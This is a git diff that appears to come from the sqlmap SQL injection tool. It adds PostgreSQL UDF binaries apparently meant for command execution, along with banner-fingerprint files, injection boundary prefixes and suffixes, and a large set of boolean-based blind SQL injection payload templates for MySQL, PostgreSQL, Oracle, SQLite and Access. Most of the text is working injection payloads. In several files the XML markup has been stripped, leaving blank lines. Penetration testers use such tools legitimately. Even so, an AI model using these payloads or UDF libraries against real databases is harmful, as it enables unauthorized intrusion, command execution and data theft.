--git a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..ef49da86edc Binary files /dev/null and b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..a1ca1cc710b Binary files /dev/null and b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..0d2f0bc0a53 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..147d8db3b19 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..09662d8a928 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..42a0c7fd61f Binary files /dev/null and b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..2db1ade11d5 Binary files /dev/null and b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..1609227d01a Binary files /dev/null and b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..36db3b0eff7 Binary files /dev/null and b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..7e8760c7e36 Binary files /dev/null and b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..044e0976c44 Binary files /dev/null and b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..d3866e04c93 Binary files /dev/null and b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..4c957014480 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..dd637decae2 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..d92cbd30edc Binary files /dev/null and b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..38562790479 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..b72a328525b Binary files /dev/null and b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..214272877c7 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..b7221fd873a Binary files /dev/null and b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ new file mode 100644 index 00000000000..d7e0c8a46a5 Binary files /dev/null and b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ new file mode 100644 index 00000000000..e8b109791c2 Binary files /dev/null and b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ new file mode 100644 index 00000000000..2748ae32c81 Binary files /dev/null and b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ new file mode 100644 index 00000000000..60c9971218f Binary files /dev/null and b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ differ diff --git a/data/xml/banner/generic.xml b/data/xml/banner/generic.xml new file mode 100644 index 00000000000..6bd38d6b4c7 --- /dev/null +++ b/data/xml/banner/generic.xml @@ -0,0 +1,216 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/banner/mssql.xml b/data/xml/banner/mssql.xml similarity index 100% rename from xml/banner/mssql.xml rename to data/xml/banner/mssql.xml diff --git a/data/xml/banner/mysql.xml b/data/xml/banner/mysql.xml new file mode 100644 index 00000000000..456c9510b82 --- /dev/null +++ b/data/xml/banner/mysql.xml @@ -0,0 +1,79 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/banner/oracle.xml b/data/xml/banner/oracle.xml similarity index 100% rename from xml/banner/oracle.xml rename to data/xml/banner/oracle.xml diff --git a/data/xml/banner/postgresql.xml b/data/xml/banner/postgresql.xml new file mode 100644 index 00000000000..7f03e8e8c4a --- /dev/null +++ b/data/xml/banner/postgresql.xml @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + diff --git a/xml/banner/server.xml b/data/xml/banner/server.xml similarity index 65% rename from xml/banner/server.xml rename to data/xml/banner/server.xml index 8bcd276552b..4d99cade0bd 100644 --- a/xml/banner/server.xml +++ b/data/xml/banner/server.xml @@ -2,24 +2,35 @@ + + + + + + + + + + + + - + - + - + @@ -74,6 +85,22 @@ + + + + + + + + + + + + + + + + @@ -112,24 +139,36 @@ - - + + - - + + - - + + - - + + - - + + + + + + + + + + + + + + @@ -214,98 +253,207 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + - - + + + + + + @@ -414,10 +562,6 @@ - - - - @@ -488,6 +632,14 @@ + + + + + + + + @@ -591,6 +743,38 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -645,9 +829,115 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/banner/servlet.xml b/data/xml/banner/servlet-engine.xml similarity index 64% rename from xml/banner/servlet.xml rename to data/xml/banner/servlet-engine.xml index 75106859d74..c34d9617e1b 100644 --- a/xml/banner/servlet.xml +++ b/data/xml/banner/servlet-engine.xml @@ -3,10 +3,18 @@ - + + + + + + + + + diff --git a/data/xml/banner/set-cookie.xml b/data/xml/banner/set-cookie.xml new file mode 100644 index 00000000000..6f7bed59c02 --- /dev/null +++ b/data/xml/banner/set-cookie.xml @@ -0,0 +1,93 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/banner/sharepoint.xml b/data/xml/banner/sharepoint.xml similarity index 100% rename from xml/banner/sharepoint.xml rename to data/xml/banner/sharepoint.xml diff --git a/xml/banner/x-aspnet-version.xml b/data/xml/banner/x-aspnet-version.xml similarity index 100% rename from xml/banner/x-aspnet-version.xml rename to data/xml/banner/x-aspnet-version.xml diff --git a/data/xml/banner/x-powered-by.xml b/data/xml/banner/x-powered-by.xml new file mode 100644 index 00000000000..f52fd9aad2a --- /dev/null +++ b/data/xml/banner/x-powered-by.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml new file mode 100644 index 00000000000..ccf93177a58 --- /dev/null +++ b/data/xml/boundaries.xml @@ -0,0 +1,576 @@ + + + + + + + + 3 + 1 + 1,2 + 1 + ) + [GENERIC_SQL_COMMENT] + + + + 4 + 1 + 1,2 + 2 + ') + [GENERIC_SQL_COMMENT] + + + + 3 + 1,2,3 + 1,2 + 2 + ' + [GENERIC_SQL_COMMENT] + + + + 5 + 1 + 1,2 + 4 + " + [GENERIC_SQL_COMMENT] + + + + + + 1 + 1 + 1,2 + 1 + ) + AND ([RANDNUM]=[RANDNUM] + + + + 2 + 1 + 1,2 + 1 + )) + AND (([RANDNUM]=[RANDNUM] + + + + 3 + 1 + 1,2 + 1 + ))) + AND ((([RANDNUM]=[RANDNUM] + + + + 1 + 0 + 1,2,3 + 1 + + + + + + 1 + 1 + 1,2 + 2 + ') + AND ('[RANDSTR]'='[RANDSTR] + + + + 2 + 1 + 1,2 + 2 + ')) + AND (('[RANDSTR]'='[RANDSTR] + + + + 3 + 1 + 1,2 + 2 + '))) + AND ((('[RANDSTR]'='[RANDSTR] + + + + 1 + 1 + 1,2 + 2 + ' + AND '[RANDSTR]'='[RANDSTR] + + + + 2 + 1 + 1,2 + 3 + ') + AND ('[RANDSTR]' LIKE '[RANDSTR] + + + + 3 + 1 + 1,2 + 3 + ')) + AND (('[RANDSTR]' LIKE '[RANDSTR] + + + + 4 + 1 + 1,2 + 3 + '))) + AND ((('[RANDSTR]' LIKE '[RANDSTR] + + + + 2 + 1 + 1,2 + 3 + %' + AND '[RANDSTR]%'='[RANDSTR] + + + + 2 + 1 + 1,2 + 3 + ' + AND '[RANDSTR]' LIKE '[RANDSTR] + + + + 2 + 1 + 1,2 + 4 + ") + AND ("[RANDSTR]"="[RANDSTR] + + + + 3 + 1 + 1,2 + 4 + ")) + AND (("[RANDSTR]"="[RANDSTR] + + + + 4 + 1 + 1,2 + 4 + "))) + AND ((("[RANDSTR]"="[RANDSTR] + + + + 2 + 1 + 1,2 + 4 + " + AND "[RANDSTR]"="[RANDSTR] + + + + 3 + 1 + 1,2 + 5 + ") + AND ("[RANDSTR]" LIKE "[RANDSTR] + + + + 4 + 1 + 1,2 + 5 + ")) + AND (("[RANDSTR]" LIKE "[RANDSTR] + + + + 5 + 1 + 1,2 + 5 + "))) + AND ((("[RANDSTR]" LIKE "[RANDSTR] + + + + 3 + 1 + 1,2 + 5 + " + AND "[RANDSTR]" LIKE "[RANDSTR] + + + + 1 + 1 + 1,2 + 1 + + [GENERIC_SQL_COMMENT] + + + + 3 + 1 + 1,2 + 1 + + # [RANDSTR] + + + + + 3 + 1 + 1,2 + 2 + ' + OR '[RANDSTR1]'='[RANDSTR2] + + + + + + 5 + 9 + 1,2 + 2 + ') WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 5 + 9 + 1,2 + 2 + ") WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 4 + 9 + 1,2 + 1 + ) WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 4 + 9 + 1,2 + 2 + ' WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 5 + 9 + 1,2 + 4 + " WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 4 + 9 + 1,2 + 1 + WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 5 + 9 + 1 + 2 + '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )||' + + + + 5 + 9 + 1 + 2 + '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] + )||' + + + + 5 + 9 + 1 + 2 + '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )+' + + + + 5 + 9 + 1 + 2 + ||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] + )|| + + + + 5 + 9 + 1 + 2 + ||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )|| + + + + 5 + 9 + 1 + 1 + +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )+ + + + + 5 + 9 + 1 + 2 + '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )+' + + + + + + 5 + 1 + 1,2 + 2 + ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 5 + 1 + 1,2 + 2 + ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 5 + 1 + 1,2 + 1 + )) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 4 + 1 + 1,2 + 2 + ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 5 + 1 + 1,2 + 4 + ") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 4 + 1 + 1,2 + 1 + ) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 4 + 1 + 1 + 1 + ` WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + 5 + 1 + 1 + 1 + `) WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + + + + 4 + 8 + 1 + 6 + `=`[ORIGINAL]` + AND `[ORIGINAL]`=`[ORIGINAL] + + + + 5 + 8 + 1 + 6 + "="[ORIGINAL]" + AND "[ORIGINAL]"="[ORIGINAL] + + + + 5 + 8 + 1 + 6 + ]-(SELECT 0 WHERE [RANDNUM]=[RANDNUM] + )|[[ORIGINAL] + + + + + 5 + 7 + 1 + 3 + [RANDSTR1], + [RANDSTR2] + + + + + 4 + 1 + 1 + 2 + ' IN BOOLEAN MODE) + # + + + diff --git a/data/xml/errors.xml b/data/xml/errors.xml new file mode 100644 index 00000000000..605ffacd9a9 --- /dev/null +++ b/data/xml/errors.xml @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml new file mode 100644 index 00000000000..0cf17140456 --- /dev/null +++ b/data/xml/payloads/boolean_blind.xml @@ -0,0 +1,1612 @@ + + + + + + + + AND boolean-based blind - WHERE or HAVING clause + 1 + 1 + 1 + 1,8,9 + 1 + AND [INFERENCE] + + AND [RANDNUM]=[RANDNUM] + + + AND [RANDNUM]=[RANDNUM1] + + + + + OR boolean-based blind - WHERE or HAVING clause + 1 + 1 + 3 + 1,9 + 2 + OR [INFERENCE] + + OR [RANDNUM]=[RANDNUM] + + + OR [RANDNUM]=[RANDNUM1] + + + + + OR boolean-based blind - WHERE or HAVING clause (NOT) + 1 + 3 + 3 + 1,9 + 1 + OR NOT [INFERENCE] + + OR NOT [RANDNUM]=[RANDNUM] + + + OR NOT [RANDNUM]=[RANDNUM1] + + + + + AND boolean-based blind - WHERE or HAVING clause (subquery - comment) + 1 + 2 + 1 + 1,8,9 + 1 + AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + [GENERIC_SQL_COMMENT] + + + AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + + + + OR boolean-based blind - WHERE or HAVING clause (subquery - comment) + 1 + 2 + 3 + 1,9 + 2 + OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + [GENERIC_SQL_COMMENT] + + + OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + + + + AND boolean-based blind - WHERE or HAVING clause (comment) + 1 + 2 + 1 + 1 + 1 + AND [INFERENCE] + + AND [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + AND [RANDNUM]=[RANDNUM1] + + + + + OR boolean-based blind - WHERE or HAVING clause (comment) + 1 + 2 + 3 + 1 + 2 + OR [INFERENCE] + + OR [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + OR [RANDNUM]=[RANDNUM1] + + + + + OR boolean-based blind - WHERE or HAVING clause (NOT - comment) + 1 + 4 + 3 + 1 + 1 + OR NOT [INFERENCE] + + OR NOT [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + OR NOT [RANDNUM]=[RANDNUM1] + + + + + AND boolean-based blind - WHERE or HAVING clause (MySQL comment) + 1 + 3 + 1 + 1 + 1 + AND [INFERENCE] + + AND [RANDNUM]=[RANDNUM] + # + + + AND [RANDNUM]=[RANDNUM1] + +
+ MySQL +
+ + + + OR boolean-based blind - WHERE or HAVING clause (MySQL comment) + 1 + 3 + 3 + 1 + 2 + OR [INFERENCE] + + OR [RANDNUM]=[RANDNUM] + # + + + OR [RANDNUM]=[RANDNUM1] + +
+ MySQL +
+ + + + OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) + 1 + 3 + 3 + 1 + 1 + OR NOT [INFERENCE] + + OR NOT [RANDNUM]=[RANDNUM] + # + + + OR NOT [RANDNUM]=[RANDNUM1] + +
+ MySQL +
+ + + + AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment) + 1 + 3 + 1 + 1 + 1 + AND [INFERENCE] + + AND [RANDNUM]=[RANDNUM] + %16 + + + AND [RANDNUM]=[RANDNUM1] + +
+ Microsoft Access +
+ + + + OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment) + 1 + 3 + 3 + 1 + 2 + OR [INFERENCE] + + OR [RANDNUM]=[RANDNUM] + %16 + + + OR [RANDNUM]=[RANDNUM1] + +
+ Microsoft Access +
+ + + + MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause + 1 + 2 + 1 + 1,2,3 + 1 + RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END)) + + RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0x28 END)) + + + RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0x28 END)) + +
+ MySQL +
+ + + + MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET) + 1 + 3 + 1 + 1,2,3,8 + 1 + AND MAKE_SET([INFERENCE],[RANDNUM]) + + AND MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1]) + + + AND MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1]) + +
+ MySQL +
+ + + + MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET) + 1 + 3 + 3 + 1,2,3 + 2 + OR MAKE_SET([INFERENCE],[RANDNUM]) + + OR MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1]) + + + OR MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1]) + +
+ MySQL +
+ + + + MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT) + 1 + 4 + 1 + 1,2,3,8 + 1 + AND ELT([INFERENCE],[RANDNUM]) + + AND ELT([RANDNUM]=[RANDNUM],[RANDNUM1]) + + + AND ELT([RANDNUM]=[RANDNUM1],[RANDNUM1]) + +
+ MySQL +
+ + + + MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT) + 1 + 4 + 3 + 1,2,3 + 2 + OR ELT([INFERENCE],[RANDNUM]) + + OR ELT([RANDNUM]=[RANDNUM],[RANDNUM1]) + + + OR ELT([RANDNUM]=[RANDNUM1],[RANDNUM1]) + +
+ MySQL +
+ + + + MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + 1 + 5 + 1 + 1,2,3,8 + 1 + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) + + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) + + + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END) + +
+ MySQL +
+ + + + MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + 1 + 5 + 3 + 1,2,3,8 + 2 + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) + + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) + + + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END) + +
+ MySQL +
+ + + + PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST) + 1 + 2 + 1 + 1,8 + 1 + AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + + AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + + + AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + +
+ PostgreSQL +
+ + + + PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST) + 1 + 3 + 3 + 1 + 2 + OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + + OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + + + OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + +
+ PostgreSQL +
+ + + + Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) + 1 + 2 + 1 + 1 + 1 + AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + + AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + + + AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + +
+ Oracle +
+ + + + Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) + 1 + 3 + 3 + 1 + 2 + OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + + OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + + + OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + +
+ Oracle +
+ + + + SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) + 1 + 2 + 1 + 1 + 1 + AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + + AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + +
+ SQLite +
+ + + + SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) + 1 + 3 + 3 + 1 + 2 + OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + + OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + +
+ SQLite +
+ + + + + + + Boolean-based blind - Parameter replace (original value) + 1 + 1 + 1 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + + + + MySQL boolean-based blind - Parameter replace (MAKE_SET) + 1 + 4 + 1 + 1,2,3 + 3 + MAKE_SET([INFERENCE],[RANDNUM]) + + MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1]) + + + MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1]) + +
+ MySQL +
